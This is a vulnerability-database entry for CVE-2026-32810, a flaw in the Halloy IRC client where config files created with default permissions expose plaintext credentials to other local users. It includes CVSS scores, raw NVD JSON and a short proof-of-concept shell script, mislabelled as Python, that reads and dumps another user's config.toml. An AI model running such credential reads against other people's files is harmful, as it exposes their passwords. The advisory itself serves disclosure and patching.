Security Vulnerability Report
中文
CVE-2026-32810 CVSS 5.5 MEDIUM

CVE-2026-32810

Published: 2026-03-20 23:16:45
Last Modified: 2026-03-23 22:16:28

Description

Halloy is an IRC application written in Rust. In versions on \*nix and macOS prior to commit f180e41061db393acf65bc99f5c5e7397586d9cb, halloy creates its config directory and files using default umask permissions, which typically results in `0644` on files and `0755` on directories. This allows any local user on the system to read plaintext credentials stored in `config.toml` or referenced `password_file` paths. Commit f180e41061db393acf65bc99f5c5e7397586d9cb patches the issue.

CVSS Details

CVSS Score
5.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:halloy:halloy:*:*:*:*:*:*:*:* - VULNERABLE
Halloy (commit f180e41061db393acf65bc99f5c5e7397586d9cb 之前)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/bin/bash # PoC for CVE-2026-32810: Halloy Config File Information Disclosure # Description: Attempt to read the halloy configuration file of another user. TARGET_USER="victim" CONFIG_FILE="/home/$TARGET_USER/.config/halloy/config.toml" # Check if file exists and is readable if [ -r "$CONFIG_FILE" ]; then echo "[+] Vulnerability Confirmed: Config file is readable by current user." echo "[+] Dumping sensitive content:" cat "$CONFIG_FILE" else echo "[-] Cannot read config file or file does not exist." fi

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-32810", "sourceIdentifier": "[email protected]", "published": "2026-03-20T23:16:44.863", "lastModified": "2026-03-23T22:16:28.183", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Halloy is an IRC application written in Rust. In versions on \\*nix and macOS prior to commit f180e41061db393acf65bc99f5c5e7397586d9cb, halloy creates its config directory and files using default umask permissions, which typically results in `0644` on files and `0755` on directories. This allows any local user on the system to read plaintext credentials stored in `config.toml` or referenced `password_file` paths. Commit f180e41061db393acf65bc99f5c5e7397586d9cb patches the issue."}, {"lang": "es", "value": "Halloy es una aplicación de IRC escrita en Rust. En versiones en *nix y macOS anteriores al commit f180e41061db393acf65bc99f5c5e7397586d9cb, halloy crea su directorio de configuración y archivos usando los permisos umask predeterminados, lo que normalmente resulta en '0644' en archivos y '0755' en directorios. Esto permite a cualquier usuario local en el sistema leer credenciales en texto plano almacenadas en 'config.toml' o rutas de 'password_file' referenciadas. El commit f180e41061db393acf65bc99f5c5e7397586d9cb corrige el problema."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:L/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 4.8, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-732"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:halloy:halloy:*:*:*:*:*:*:*:*", "versionEndIncluding": "2026.4", "matchCriteriaId": "EAB64661-0590-4ABE-B7BC-1D17D0681AC3"}]}]}], "references": [{"url": "https://github.com/squidowl/halloy/commit/f180e41061db393acf65bc99f5c5e7397586d9cb", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/squidowl/halloy/security/advisories/GHSA-x5j2-fr4h-9p7g", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/squidowl/halloy/security/advisories/GHSA-x5j2-fr4h-9p7g", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}